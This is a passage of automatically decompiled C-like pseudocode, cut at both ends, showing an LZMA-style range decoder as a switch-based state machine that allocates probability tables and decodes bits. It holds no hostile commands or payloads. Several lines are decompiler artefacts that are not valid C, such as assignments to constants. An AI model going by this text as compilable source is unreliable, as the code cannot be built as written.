                                                    							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                    							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    							L139:
                                                    							_t533 =  *(_t613 - 0x84);
                                                    							while(1) {
                                                    								 *(_t613 - 0x88) = _t533;
                                                    								while(1) {
                                                    									L1:
                                                    									_t534 =  *(_t613 - 0x88);
                                                    									if(_t534 > 0x1c) {
                                                    										break;
                                                    									}
                                                    									switch( *((intOrPtr*)(_t534 * 4 +  &M00407602))) {
                                                    										case 0:
                                                    											if( *(_t613 - 0x6c) == 0) {
                                                    												goto L170;
                                                    											}
                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    											_t534 =  *( *(_t613 - 0x70));
                                                    											if(_t534 > 0xe1) {
                                                    												goto L171;
                                                    											}
                                                    											_t538 = _t534 & 0x000000ff;
                                                    											_push(0x2d);
                                                    											asm("cdq");
                                                    											_pop(_t570);
                                                    											_push(9);
                                                    											_pop(_t571);
                                                    											_t609 = _t538 / _t570;
                                                    											_t540 = _t538 % _t570 & 0x000000ff;
                                                    											asm("cdq");
                                                    											_t604 = _t540 % _t571 & 0x000000ff;
                                                    											 *(_t613 - 0x3c) = _t604;
                                                    											 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                    											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                    											_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                    											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                    												L10:
                                                    												if(_t612 == 0) {
                                                    													L12:
                                                    													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                    													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    													goto L15;
                                                    												} else {
                                                    													goto L11;
                                                    												}
                                                    												do {
                                                    													L11:
                                                    													_t612 = _t612 - 1;
                                                    													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                    												} while (_t612 != 0);
                                                    												goto L12;
                                                    											}
                                                    											if( *(_t613 - 4) != 0) {
                                                    												GlobalFree( *(_t613 - 4));
                                                    											}
                                                    											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                    											 *(_t613 - 4) = _t534;
                                                    											if(_t534 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                    												goto L10;
                                                    											}
                                                    										case 1:
                                                    											L13:
                                                    											__eflags =  *(_t613 - 0x6c);
                                                    											if( *(_t613 - 0x6c) == 0) {
                                                    												 *(_t613 - 0x88) = 1;
                                                    												goto L170;
                                                    											}
                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                    											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                    											_t45 = _t613 - 0x48;
                                                    											 *_t45 =  *(_t613 - 0x48) + 1;
                                                    											__eflags =  *_t45;
                                                    											L15:
                                                    											if( *(_t613 - 0x48) < 4) {
                                                    												goto L13;
                                                    											}
                                                    											_t546 =  *(_t613 - 0x40);
                                                    											if(_t546 ==  *(_t613 - 0x74)) {
                                                    												L20:
                                                    												 *(_t613 - 0x48) = 5;
                                                    												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                    												goto L23;
                                                    											}
                                                    											 *(_t613 - 0x74) = _t546;
                                                    											if( *(_t613 - 8) != 0) {
                                                    												GlobalFree( *(_t613 - 8));
                                                    											}
                                                    											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                    											 *(_t613 - 8) = _t534;
                                                    											if(_t534 == 0) {
                                                    												goto L171;
                                                    											} else {
                                                    												goto L20;
                                                    											}
                                                    										case 2:
                                                    											L24:
                                                    											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                    											 *(_t613 - 0x84) = 6;
                                                    											 *(_t613 - 0x4c) = _t553;
                                                    											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                    											 *(_t613 - 0x54) = _t606;
                                                    											goto L133;
                                                    										case 3:
                                                    											L21:
                                                    											__eflags =  *(_t613 - 0x6c);
                                                    											if( *(_t613 - 0x6c) == 0) {
                                                    												 *(_t613 - 0x88) = 3;
                                                    												goto L170;
                                                    											}
                                                    											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                    											_t67 = _t613 - 0x70;
                                                    											 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                    											__eflags =  *_t67;
                                                    											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                    											L23:
                                                    											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                    											if( *(_t613 - 0x48) != 0) {
                                                    												goto L21;
                                                    											}
                                                    											goto L24;
                                                    										case 4:
                                                    											L133:
                                                    											_t531 =  *_t606;
                                                    											_t589 = _t531 & 0x0000ffff;
                                                    											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                    											if( *(_t613 - 0xc) >= _t565) {
                                                    												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                    												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                    												 *(_t613 - 0x40) = 1;
                                                    												_t532 = _t531 - (_t531 >> 5);
                                                    												 *_t606 = _t532;
                                                    											} else {
                                                    												 *(_t613 - 0x10) = _t565;
                                                    												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                    												 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                    											}
                                                    											if( *(_t613 - 0x10) >= 0x1000000) {
                                                    												goto L139;
                                                    											}
                                                    										case 5:
                                                    											goto L137;
                                                    										case 6:
                                                    											__edx = 0;
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x34) = 1;
                                                    												 *(__ebp - 0x84) = 7;
                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                    												while(1) {
                                                    													 *(_t613 - 0x54) = _t606;
                                                    													goto L133;
                                                    												}
                                                    											}
                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                    											__esi =  *(__ebp - 0x60);
                                                    											__cl = 8;
                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                    											__ecx =  *(__ebp - 0x3c);
                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                    											__ecx =  *(__ebp - 4);
                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                    											if( *(__ebp - 0x38) >= 4) {
                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                    													_t98 = __ebp - 0x38;
                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                    													__eflags =  *_t98;
                                                    												} else {
                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                    												}
                                                    											} else {
                                                    												 *(__ebp - 0x38) = 0;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                    											if( *(__ebp - 0x34) == __edx) {
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												goto L61;
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x14);
                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                    													__eflags = __eax;
                                                    												}
                                                    												__ecx =  *(__ebp - 8);
                                                    												__ebx = 0;
                                                    												__ebx = 1;
                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                    												goto L41;
                                                    											}
                                                    										case 7:
                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                    											if( *(__ebp - 0x40) != 1) {
                                                    												__eax =  *(__ebp - 0x24);
                                                    												 *(__ebp - 0x80) = 0x16;
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x28);
                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    												__eax =  *(__ebp - 0x2c);
                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    												__eax = 0;
                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    												__al = __al & 0x000000fd;
                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                    												__eax =  *(__ebp - 4);
                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                    												__eflags = __eax;
                                                    												 *(__ebp - 0x58) = __eax;
                                                    												goto L69;
                                                    											}
                                                    											__eax =  *(__ebp - 4);
                                                    											__ecx =  *(__ebp - 0x38);
                                                    											 *(__ebp - 0x84) = 8;
                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                    											while(1) {
                                                    												 *(_t613 - 0x54) = _t606;
                                                    												goto L133;
                                                    											}
                                                    										case 8:
                                                    											goto L0;
                                                    										case 9:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												goto L89;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x60);
                                                    											if( *(__ebp - 0x60) == 0) {
                                                    												goto L171;
                                                    											}
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                    											__eflags = _t258;
                                                    											0 | _t258 = _t258 + _t258 + 9;
                                                    											 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                    											goto L75;
                                                    										case 0xa:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 4);
                                                    												__ecx =  *(__ebp - 0x38);
                                                    												 *(__ebp - 0x84) = 0xb;
                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                    												while(1) {
                                                    													 *(_t613 - 0x54) = _t606;
                                                    													goto L133;
                                                    												}
                                                    											}
                                                    											__eax =  *(__ebp - 0x28);
                                                    											goto L88;
                                                    										case 0xb:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__ecx =  *(__ebp - 0x24);
                                                    												__eax =  *(__ebp - 0x20);
                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                    											} else {
                                                    												__eax =  *(__ebp - 0x24);
                                                    											}
                                                    											__ecx =  *(__ebp - 0x28);
                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                    											L88:
                                                    											__ecx =  *(__ebp - 0x2c);
                                                    											 *(__ebp - 0x2c) = __eax;
                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                    											L89:
                                                    											__eax =  *(__ebp - 4);
                                                    											 *(__ebp - 0x80) = 0x15;
                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                    											goto L69;
                                                    										case 0xc:
                                                    											L99:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xc;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t334 = __ebp - 0x70;
                                                    											 *_t334 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t334;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											__eax =  *(__ebp - 0x2c);
                                                    											goto L101;
                                                    										case 0xd:
                                                    											L37:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xd;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t122 = __ebp - 0x70;
                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t122;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L39:
                                                    											__eax =  *(__ebp - 0x40);
                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                    												goto L48;
                                                    											}
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												goto L54;
                                                    											}
                                                    											L41:
                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                    											 *(__ebp - 0x48) = __eax;
                                                    											__eax = __eax + 1;
                                                    											__eax = __eax << 8;
                                                    											__eax = __eax + __ebx;
                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edx = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												 *(__ebp - 0x40) = 1;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												__ebx = __ebx + __ebx + 1;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edx;
                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L39;
                                                    											} else {
                                                    												goto L37;
                                                    											}
                                                    										case 0xe:
                                                    											L46:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xe;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t156 = __ebp - 0x70;
                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t156;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											while(1) {
                                                    												L48:
                                                    												__eflags = __ebx - 0x100;
                                                    												if(__ebx >= 0x100) {
                                                    													break;
                                                    												}
                                                    												__eax =  *(__ebp - 0x58);
                                                    												__edx = __ebx + __ebx;
                                                    												__ecx =  *(__ebp - 0x10);
                                                    												__esi = __edx + __eax;
                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    												__ax =  *__esi;
                                                    												 *(__ebp - 0x54) = __esi;
                                                    												__edi = __ax & 0x0000ffff;
                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    													__cx = __ax;
                                                    													_t170 = __edx + 1; // 0x1
                                                    													__ebx = _t170;
                                                    													__cx = __ax >> 5;
                                                    													__eflags = __eax;
                                                    													 *__esi = __ax;
                                                    												} else {
                                                    													 *(__ebp - 0x10) = __ecx;
                                                    													0x800 = 0x800 - __edi;
                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    													__ebx = __ebx + __ebx;
                                                    													 *__esi = __cx;
                                                    												}
                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                    													continue;
                                                    												} else {
                                                    													goto L46;
                                                    												}
                                                    											}
                                                    											L54:
                                                    											_t173 = __ebp - 0x34;
                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                    											__eflags =  *_t173;
                                                    											goto L55;
                                                    										case 0xf:
                                                    											L58:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0xf;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t203 = __ebp - 0x70;
                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t203;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L60:
                                                    											__eflags = __ebx - 0x100;
                                                    											if(__ebx >= 0x100) {
                                                    												L55:
                                                    												__al =  *(__ebp - 0x44);
                                                    												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                    												goto L56;
                                                    											}
                                                    											L61:
                                                    											__eax =  *(__ebp - 0x58);
                                                    											__edx = __ebx + __ebx;
                                                    											__ecx =  *(__ebp - 0x10);
                                                    											__esi = __edx + __eax;
                                                    											__ecx =  *(__ebp - 0x10) >> 0xb;
                                                    											__ax =  *__esi;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__edi = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												_t217 = __edx + 1; // 0x1
                                                    												__ebx = _t217;
                                                    												__cx = __ax >> 5;
                                                    												__eflags = __eax;
                                                    												 *__esi = __ax;
                                                    											} else {
                                                    												 *(__ebp - 0x10) = __ecx;
                                                    												0x800 = 0x800 - __edi;
                                                    												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                    												__ebx = __ebx + __ebx;
                                                    												 *__esi = __cx;
                                                    											}
                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                    											 *(__ebp - 0x44) = __ebx;
                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                    												goto L60;
                                                    											} else {
                                                    												goto L58;
                                                    											}
                                                    										case 0x10:
                                                    											L109:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0x10;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t365 = __ebp - 0x70;
                                                    											 *_t365 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t365;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											goto L111;
                                                    										case 0x11:
                                                    											L69:
                                                    											__esi =  *(__ebp - 0x58);
                                                    											 *(__ebp - 0x84) = 0x12;
                                                    											while(1) {
                                                    												 *(_t613 - 0x54) = _t606;
                                                    												goto L133;
                                                    											}
                                                    										case 0x12:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												__eax =  *(__ebp - 0x58);
                                                    												 *(__ebp - 0x84) = 0x13;
                                                    												__esi =  *(__ebp - 0x58) + 2;
                                                    												while(1) {
                                                    													 *(_t613 - 0x54) = _t606;
                                                    													goto L133;
                                                    												}
                                                    											}
                                                    											__eax =  *(__ebp - 0x4c);
                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                    											__eflags = __eax;
                                                    											__eax =  *(__ebp - 0x58) + __eax + 4;
                                                    											goto L130;
                                                    										case 0x13:
                                                    											__eflags =  *(__ebp - 0x40);
                                                    											if( *(__ebp - 0x40) != 0) {
                                                    												_t469 = __ebp - 0x58;
                                                    												 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                    												__eflags =  *_t469;
                                                    												 *(__ebp - 0x30) = 0x10;
                                                    												 *(__ebp - 0x40) = 8;
                                                    												L144:
                                                    												 *(__ebp - 0x7c) = 0x14;
                                                    												goto L145;
                                                    											}
                                                    											__eax =  *(__ebp - 0x4c);
                                                    											__ecx =  *(__ebp - 0x58);
                                                    											__eax =  *(__ebp - 0x4c) << 4;
                                                    											 *(__ebp - 0x30) = 8;
                                                    											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                    											L130:
                                                    											 *(__ebp - 0x58) = __eax;
                                                    											 *(__ebp - 0x40) = 3;
                                                    											goto L144;
                                                    										case 0x14:
                                                    											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                    											__eax =  *(__ebp - 0x80);
                                                    											 *(_t613 - 0x88) = _t533;
                                                    											goto L1;
                                                    										case 0x15:
                                                    											__eax = 0;
                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                    											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                    											__al = __al & 0x000000fd;
                                                    											__eax = (__eflags >= 0) - 1 + 0xb;
                                                    											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                    											goto L120;
                                                    										case 0x16:
                                                    											__eax =  *(__ebp - 0x30);
                                                    											__eflags = __eax - 4;
                                                    											if(__eax >= 4) {
                                                    												_push(3);
                                                    												_pop(__eax);
                                                    											}
                                                    											__ecx =  *(__ebp - 4);
                                                    											 *(__ebp - 0x40) = 6;
                                                    											__eax = __eax << 7;
                                                    											 *(__ebp - 0x7c) = 0x19;
                                                    											 *(__ebp - 0x58) = __eax;
                                                    											goto L145;
                                                    										case 0x17:
                                                    											L145:
                                                    											__eax =  *(__ebp - 0x40);
                                                    											 *(__ebp - 0x50) = 1;
                                                    											 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                    											goto L149;
                                                    										case 0x18:
                                                    											L146:
                                                    											__eflags =  *(__ebp - 0x6c);
                                                    											if( *(__ebp - 0x6c) == 0) {
                                                    												 *(__ebp - 0x88) = 0x18;
                                                    												goto L170;
                                                    											}
                                                    											__ecx =  *(__ebp - 0x70);
                                                    											__eax =  *(__ebp - 0xc);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											_t484 = __ebp - 0x70;
                                                    											 *_t484 =  *(__ebp - 0x70) + 1;
                                                    											__eflags =  *_t484;
                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                    											L148:
                                                    											_t487 = __ebp - 0x48;
                                                    											 *_t487 =  *(__ebp - 0x48) - 1;
                                                    											__eflags =  *_t487;
                                                    											L149:
                                                    											__eflags =  *(__ebp - 0x48);
                                                    											if( *(__ebp - 0x48) <= 0) {
                                                    												__ecx =  *(__ebp - 0x40);
                                                    												__ebx =  *(__ebp - 0x50);
                                                    												0 = 1;
                                                    												__eax = 1 << __cl;
                                                    												__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                    												__eax =  *(__ebp - 0x7c);
                                                    												 *(__ebp - 0x44) = __ebx;
                                                    												while(1) {
                                                    													 *(_t613 - 0x88) = _t533;
                                                    													goto L1;
                                                    												}
                                                    											}
                                                    											__eax =  *(__ebp - 0x50);
                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                    											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                    											__eax =  *(__ebp - 0x58);
                                                    											__esi = __edx + __eax;
                                                    											 *(__ebp - 0x54) = __esi;
                                                    											__ax =  *__esi;
                                                    											__edi = __ax & 0x0000ffff;
                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                    												__cx = __ax;
                                                    												__cx = __ax >> 5;
